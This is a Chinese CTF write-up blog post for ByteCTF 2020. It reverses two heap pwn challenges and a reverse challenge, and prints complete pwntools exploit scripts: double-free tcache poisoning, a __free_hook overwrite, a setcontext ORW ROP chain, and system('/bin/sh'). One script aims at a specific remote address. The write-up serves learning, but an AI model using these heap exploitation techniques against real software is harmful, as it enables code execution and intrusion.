ByteCTF初赛

ByteCTF2020 部分pwn&re

比赛打了两天，挺激烈的，尤其最后时刻大家都疯狂冲分，最后没能守住掉到23了🤦

这场比赛给我的最深的感受是我的逆向经验太少了，导致花费了很多时间在没用的函数里，值得好好总结。

gun

第一道pwn题，多亏ruan师傅眼疾手快帮我改好了最后的rop，拿到了二血，不然我还得调半天，这种最后的orw可以当作模板来用，好好体会一下。

题目是道菜单题，2.31的libc，功能大概是buy(购买子弹)–add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 buy()
{
  __int64 idx; // [rsp-18h] [rbp-18h]
  unsigned __int64 v2; // [rsp-10h] [rbp-10h]

  __asm { endbr64 }
  idx = sub_1542();
  if ( idx < 0 )
    return puts_1("Enough");
  if ( qword_4070[3 * idx] == 1LL )
    return puts_1("The bullet is Used!");
  puts_0("Bullet price: ");
  v2 = sub_14E3();
  if ( v2 <= 0xF || (__int64)((__int64)off_4010 - v2) < 0 )
    return puts_1("Too pool!");
  if ( v2 > 0x500 )
    return puts_1("Too big!");
  *((_QWORD *)&unk_4060 + 3 * idx) = sub_11A0(v2);
  qword_4070[3 * idx] = 1LL;
  puts_0("Bullet Name: ");
  read_n(*((_QWORD *)&unk_4060 + 3 * idx), v2);
  off_4010 = (__int64 (__fastcall *)())((char *)off_4010 - v2);
  return puts_1("Confirm");
}

load(填充子弹，即将heap链接一起)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_16E1()
{
  unsigned __int64 v1; // [rsp-10h] [rbp-10h]

  __asm { endbr64 }
  puts_0("Which one do you want to load?");
  v1 = sub_14E3();
  if ( v1 > 0xD || qword_4070[3 * v1] == 0LL || qword_4070[3 * v1] == 2LL )
    return puts_1("what??");
  if ( qword_4050 )
    *((_QWORD *)&unk_4068 + 3 * v1) = qword_4050;
  qword_4050 = (__int64)&unk_4060 + 24 * v1;
  *((_QWORD *)&unk_4060 + 3 * v1 + 2) = 2LL;
  return puts_1("Confirm.");
}

shoot(发射子弹)–dele。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_15F8()
{
  __int64 v1; // rsi
  int i; // [rsp-18h] [rbp-18h]
  __int64 v3; // [rsp-14h] [rbp-14h]
  __int64 v4; // [rsp-10h] [rbp-10h]

  __asm { endbr64 }
  if ( !qword_4050 )
    return puts_1("No bullet!");
  puts_0("Shoot time: ");
  v3 = (unsigned int)sub_14E3();
  for ( i = 0; qword_4050 && i < (int)v3; ++i )
  {
    v1 = *(_QWORD *)qword_4050;
    puts_0("Pwn! The %s bullet fired.\n");
    sub_1100(*(_QWORD *)qword_4050, v1);
    v4 = qword_4050;
    qword_4050 = *(_QWORD *)(qword_4050 + 8);
    *(_QWORD *)(v4 + 16) = 0LL;
  }
  sub_159A();
  return puts_0("%lld bullets left\n");
}

分析heap的结构体为：

1
2
3
4
5
struct container{
  void *heap_ptr
  void *next_heap
  int status   //1为可用，2为以装载，3为free掉了
}

漏洞点在于load后使用next_heap指针将load的堆块连接起来，但shoot之后next_heap并不会清除，而且heap_ptr也未置0，只是将其free并修改status改为0，但之后我们可以只add回来一个但shoot两个，shoot第二个时会通过next_heap找到那个已经free的堆，由于没有对status的检查导致可以二次dele，但由于2.31加入了tecache的key机制导致tecache_attack无法使用。

构造二次dele的poc:

1
2
3
4
5
6
7
8
9
10
add(0x60,'a'*8)
add(0x500,'b'*8)
add(0x60,'c'*8)
load(1)
load(0)
shoot(1)
add(0x60,'d'*8)
shoot(1)
load(0)
shoot(2)  #dele第二2个时导致double free

tecache的double free无法使用了，但是fastbin的可以鸭，先填满tecache，再用上面的方法在fastbin构造double free，之后在add时会先取出tecache里的bin，当tecache取完之后会从fastbin取，当第一次从fastbin取时，会把剩下的fastbin放回tecache，因此我们就能利用tecache attack打到free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> bins
tcachebins
0x70 [  7]: 0x560f03853850 —▸ 0x560f038533b0 —▸ 0x560f03853420 —▸ 0x560f03853490 —▸ 0x560f03853500 —▸ 0x560f03853570 —▸ 0x560f038535e0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x560f03853330 —▸ 0x560f038532c0 ◂— 0x560f03853330   先在fastbin double free
0x80: 0x0
unsortedbin
all: 0x560f038536b0 —▸ 0x7f6f3fdadbe0 (main_arena+96) ◂— 0x560f038536b0
smallbins

之后取完tecache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x561bb646c330 —▸ 0x561bb646c2c0 ◂— 0x561bb646c330
0x80: 0x0
unsortedbin
all: 0x561bb646c6b0 —▸ 0x7fc69a821be0 (main_arena+96) ◂— 0x561bb646c6b0
smallbins

第一次取fastbin时（也即改fd）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> bins
tcachebins
0x70 [  3]: 0x556f27c2a2d0 —▸ 0x556f27c2a340 —▸ 0x7fe4fb1f0b28 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556f27c2a6b0 —▸ 0x7fe4fb1edbe0 (main_arena+96) ◂— 0x556f27c2a6b0
smallbins

可以看到放回tecache了，由于没size检查，可以打free_hook。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
# context.log_level='debug'
context.arch='amd64'

def cmd(command):
	p.recvuntil("> ")
	p.sendline(str(command))

def shoot(time):
	cmd(1)
	p.recvuntil(": ")
	p.sendline(str(time))

def load(idx):
	cmd(2)
	p.recvuntil("?")
	p.sendline(str(idx))

def add(size,content):
	cmd(3)
	p.recvuntil(": ")
	p.sendline(str(size))
	p.recvuntil(": ")
	p.sendline(content)

def main(host,port=30772):
	global p
	if host:
		p=remote(host,port)
	else:
		p=process("./gun")
	p.recvuntil(": ")
	p.sendline('1234')
	add(0x60,'a'*8)
	add(0x500,'b'*8)
	add(0x60,'c'*8)
	load(1)
	load(0)
	shoot(1)
	add(0x60,'d'*8)
	shoot(1)
	load(0)
	shoot(1)
	add(0x60,'d'*8)
	add(0x60,'e'*8)
	shoot(1)
	p.recvuntil("e"*8)
	libc.address=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ec010
	success("libc: "+hex(libc.address))
	for  i in range(8):
		add(0x60,'f'*0x10)
	load(1)
	shoot(1)
	p.recvuntil("f"*0x10)
	heap_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x330
	success("heap: "+hex(heap_addr))
	add(0x60,'a'*8)
	load(2)
	load(3)
	load(4)
	load(5)
	load(6)
	load(7)
	load(8)
	shoot(7)
	load(1)
	shoot(1)
	load(0)
	shoot(2)
	for i in range(7):
		add(0x60,'a'*8)
	add(0x60,p64(libc.sym['__free_hook']))
	add(0x60,'a')
	add(0x60,'a')
	add(0x60,p64(libc.address+0x0000000000154930))
	# gdb.attach(p,"b free\nc")

	p_rdi=0x0000000000026b72+libc.address
	p_rsi=0x0000000000027529+libc.address
	p_rdx_r12=0x000000000011c371+libc.address
	p_rax=0x000000000004a550+libc.address
	syscall_ret=0x0000000000066229+libc.address

	payload = b"/flag\x00\x00\x00"+p64(heap_addr+0x6c0)
	payload += b"\x00"*0x10+p64(libc.sym["setcontext"]+61)
	payload += p64(0)*8	#offset 0x68
	payload += p64(0)	#rdi
	payload += p64(heap_addr+0x6c0+0xa8)		#rsi
	payload += p64(heap_addr+0x2000)	#rbp
	payload += p64(0x200)*2		#rbx and rdx
	payload += p64(0)*2
	payload += p64(heap_addr+0x6c0+0xa8)	# rsp
	payload += p64(p_rax)		#rcx
	payload += p64(p_rax)
	payload += p64(0)+p64(syscall_ret)
	add(0x180,payload)
	load(12)
	shoot(1)
	pause()
	rop_chain = [
		p_rdi,heap_addr+0x6c0,p_rdx_r12,0,0,p_rsi,0,p_rax,2,syscall_ret,
		p_rdi,3,p_rdx_r12,0x100,0,p_rsi,heap_addr+0x2000,p_rax,0,syscall_ret,
		p_rdi,1,p_rax,1,syscall_ret
	]
	p.send(b"A"*0x20+flat(rop_chain))
	p.interactive()

if __name__ == '__main__':
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	main("123.57.209.176")

easyheap

这道是ruan师傅做的，我赛后复现了一下

经典菜单题，洞在add里：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  printf("Size: ");
  __isoc99_scanf("%hd", &size);               // %hd 表示为短整型2个字节
  v2 = size;
  if ( size <= 0 || size > 0x80 )
  {
    do
    {
      do
      {
        puts("Invalid size.");
        printf("Size: ");
        __isoc99_scanf("%hd", &size);
      }
      while ( size <= 0 );
    }
    while ( size > 0x80 );
  }
  else
  {
    v2 = size;
  }
  ptr = malloc(size);
  if ( !ptr )
  {
    puts("Malloc error.");
    exit(2);
  }
  memset(ptr, 0, size);
  printf("Content: ");
  read_n((__int64)ptr, size);                 // v2是第一次输入的sz
  *((_BYTE *)ptr + v2 - 1) = 0;
  *((_DWORD *)&unk_4060 + 4 * i) = size;
  heaplist[2 * i] = ptr;
  puts("Finish.");
}

可以看到，v2是第一次输入的size，如果这个size是不符合条件的，就能在执行*((_BYTE *)ptr + v2 - 1) = 0;时向上写入一个’\0’，可以用来改bin的fd，以构造overlop。

leak是先构造tecache_dup（即一个bin既在tecache，又在fastbin，利用的就是上面的思路）通过触发malloc_consoildate将fastbin放入unsoretdbin，从而leak main_arena。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0x50,'a'*8)
dele(0)
for i in range(8):
    add(0x40,'a'*8)
for i in range(1,8):
    dele(i)
dele(0)
cmd(1)
p.recvuntil(": ")
p.sendline(str(0x10000-0xf0+1))
add_(0x40,"b"*8)
for i in range(3):
    add(0x40,'a'*8)
add(0x40,p64(0))
p.recvuntil(">> ")
p.sendline("1"*0x400)
show(4)
offset=0x1ebc20
p.recvuntil(": ")
libc.address = u64(p.recvuntil("\n")[:-1].ljust(8,b'\x00'))-offset

之后还是上面的思路构造overlop。通过改fd的低字节为’\x00’使得chunk->fd指向的地址在chunk下面（距离小于chunk的size），导致overlop。

之后tecache attack打free_hook。

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.log_level='debug'
context.arch='amd64'

def cmd(command):
	p.recvuntil(">> ")
	p.sendline(str(command))

def add(sz,content):
	cmd(1)
	p.recvuntil(": ")
	p.sendline(str(sz))
	p.recvuntil(": ")
	p.sendline(content)

def add_(sz,content):
	p.recvuntil(": ")
	p.sendline(str(sz))
	p.recvuntil(": ")
	p.sendline(content)

def show(idx):
	cmd(2)
	p.recvuntil("Index: ")
	p.sendline(str(idx))

def dele(idx):
	cmd(3)
	p.recvuntil("Index: ")
	p.sendline(str(idx))


def main(host, port = 1234):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process("./easyheap")

    add(0x50,'a'*8)
    dele(0)
    for i in range(8):
        add(0x40,'a'*8)
    for i in range(1,8):
        dele(i)

    dele(0)

    cmd(1)
    p.recvuntil(": ")
    p.sendline(str(0x10000-0xf0+1))
    add_(0x40,"b"*8)
    for i in range(3):
        add(0x40,'a'*8)
    add(0x40,p64(0))
    p.recvuntil(">> ")
    p.sendline("1"*0x400)
    show(4)
    offset=0x1ebc20
    p.recvuntil(": ")
    libc.address = u64(p.recvuntil("\n")[:-1].ljust(8,b'\x00'))-offset
    success("libc: "+hex(libc.address))

    for i in range(4):
        dele(i)
    add(0x30,'a'*8)
    add(0x60,'a'*8)
    dele(1)
    cmd(1)
    p.recvuntil(": ")
    p.sendline(str(0x10000-0xa0+1))
    add_(0x60,"a"*8)

    dele(1)
    for _ in range(2):
        add(0x40,'a')

    payload=b'a'*0x10+p64(0)+p64(0x51)+p64(libc.sym['__free_hook'])
    add(0x40,payload)
    add(0x40,'/bin/sh')
    add(0x40,p64(libc.sym['system']))
    dele(5)

    gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    main(0)

QIAO

这题肝了好久，并不是它难，而是吃了逆向经验匮乏的亏。
首先这题花指令很多”jmp $+5”导致ida无法反编译，那就直接上手调了。
main函数开始先把一个大数放入stack里：

1
mov     dword ptr [rbp-34h], 0B63C9FE1h

之后通过调试会不断的将这个数和其他的数进行比较，相等的话就跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                                      mov     eax, [rbp-38h]
.text:00000000004019FD                 sub     eax, 0B63C9FE1h
.text:0000000000401A02                 mov     [rbp-50h], eax
.text:0000000000401A05                 jz      loc_401ADB
.text:0000000000401A0B                 jmp     $+5

  loc_401ADB:                             ; CODE XREF: .text:0000000000401A05↑j
.text:0000000000401ADB                 mov     eax, 501DC785h
.text:0000000000401AE0                 mov     ecx, 44AF965Fh
.text:0000000000401AE5                 mov     edx, [rbp-4]
.text:0000000000401AE8                 cmp     edx, 2
.text:0000000000401AEB                 cmovnz  eax, ecx
.text:0000000000401AEE                 mov     [rbp-34h], eax
.text:0000000000401AF1                 jmp     loc_401DA7

这个跳转到loc_401ADB进行的是比较的操作，分析得是对argc的检查，如果为2就通过。

之后更新这个大数为501DC785h，并继续和其他数比较，相等的话就跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000000000401A94                 mov     eax, [rbp-38h]
.text:0000000000401A97                 sub     eax, 501DC785h
.text:0000000000401A9C                 mov     [rbp-6Ch], eax
.text:0000000000401A9F                 jz      loc_401B1D
.text:0000000000401AA5                 jmp     $+5

.text:0000000000401B1D loc_401B1D:                             ; CODE XREF: .text:0000000000401A9F↑j
.text:0000000000401B1D                 mov     eax, 874FBE3Fh
.text:0000000000401B22                 mov     ecx, 0B6DAB60Eh
.text:0000000000401B27                 mov     rdx, [rbp-28h]
.text:0000000000401B2B                 mov     rdi, [rdx+8]
.text:0000000000401B2F                 mov     [rbp-7Ch], eax
.text:0000000000401B32                 mov     [rbp-80h], ecx
.text:0000000000401B35                 call    _strlen
.text:0000000000401B3A                 cmp     rax, 20h ; ' '
.text:0000000000401B3E                 mov     ecx, [rbp-7Ch]
.text:0000000000401B41                 mov     esi, [rbp-80h]
.text:0000000000401B44                 cmovnz  ecx, esi
.text:0000000000401B47                 mov     [rbp-34h], ecx
.text:0000000000401B4A                 jmp     loc_401DA7

跳到loc_401B1D，call了strlen，完成的是对args的长度进行比较，为0x20即通过。

大数更新为874FBE3Fh，之后再比较跳到了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000401B79 loc_401B79:                             ; CODE XREF: .text:0000000000401997↑j
.text:0000000000401B79                 mov     eax, 8F7A1A66h
.text:0000000000401B7E                 mov     ecx, 2D33904h
.text:0000000000401B83                 mov     dword ptr [rbp-10h], 1BDh
.text:0000000000401B8A                 mov     dword ptr [rbp-14h], 63h ; 'c'
.text:0000000000401B91                 mov     edx, [rbp-10h]
.text:0000000000401B94                 mov     esi, [rbp-14h]
.text:0000000000401B97                 imul    edx, edx
.text:0000000000401B9A                 add     edx, 1
.text:0000000000401B9D                 imul    esi, esi
.text:0000000000401BA0                 imul    esi, 7
.text:0000000000401BA3                 cmp     edx, esi
.text:0000000000401BA5                 cmovz   eax, ecx
.text:0000000000401BA8                 mov     [rbp-34h], eax
.text:0000000000401BAB                 jmp     loc_401DA7

感觉啥也没干，就更新了大数为8F7A1A66h，再跳：

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000401C0C loc_401C0C:                             ; CODE XREF: .text:00000000004019C3↑j
.text:0000000000401C0C                 mov     rax, [rbp-28h]
.text:0000000000401C10                 mov     rdi, [rax+8]
.text:0000000000401C14                 call    sub_401180
.text:0000000000401C19                 mov     [rbp-30h], rax
.text:0000000000401C1D                 mov     rdi, [rbp-30h]
.text:0000000000401C21                 call    sub_4018C0
.text:0000000000401C26                 mov     ecx, 0BC6F950Fh
.text:0000000000401C2B                 mov     edx, 3B7E9E40h
.text:0000000000401C30                 cmp     eax, 0
.text:0000000000401C33                 cmovnz  ecx, edx
.text:0000000000401C36                 mov     [rbp-34h], ecx
.text:0000000000401C39                 jmp     loc_401DA7

这个地方是关键部分。

一般这种要我们输入的逆向题会对我们的输入进行变形，然后进行比较，经分析发现sub_401180完成的就是对输入进行变形。

如我们输入’a’*0x20,内存中’a’占1个字节，而变形后’a’表是16进制的0xa，只占4bit，从而变形为长度为0x10的’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa’(内存中)。

1
2
3
pwndbg> x/20gx 0x424290
0x424290:	0x0000000000000000	0x0000000000000021
0x4242a0:	0xaaaaaaaaaaaaaaaa	0xaaaaaaaaaaaaaaaa

而sub_4018C0理论上应该是比较函数，而且分析发现函数的返回后eax会和1比较，为1就表示通过。但这个函数反编译后十分复杂，感觉不像人写的，所以我直接放放弃静态分析（实际上静态分析了好久分析了个寂寞）。

通过调试发现sub_4018C0执行完后会释放一个堆块，而且堆中多了好多奇怪的内容，并且和我们的输入没有关系。
于是我猜测就是和堆里的内容比较，于是在free下断得到堆里的数据为7fa392e666d78abbb655165528fff33f（经过大小端变换后的）

1
2
3
pwndbg> x/20gx 0x4242b0      //将要free的堆
0x4242b0:	0x0000000000000000	0x0000000000000021
0x4242c0:	0xbb8ad766e692a37f	0x3ff3ff28551655b6

将其作为输入果然返回为1，之后就顺利拿到flag了。🚩

还有一道go的pwn题还没复现好，之后会单独写一篇，ruan师傅tql✨

这场比赛打下来收获颇多，但看着大把的安卓逆向实属难受，其实我们堆的pwn和web解出的题目数量和前面的队伍差不多的，主要吃亏在re,crypto和misc，说到底还是自己不够强。keep it up🐱‍👤

赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 |

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

Pwner<br>CTF is a part of my life.<br>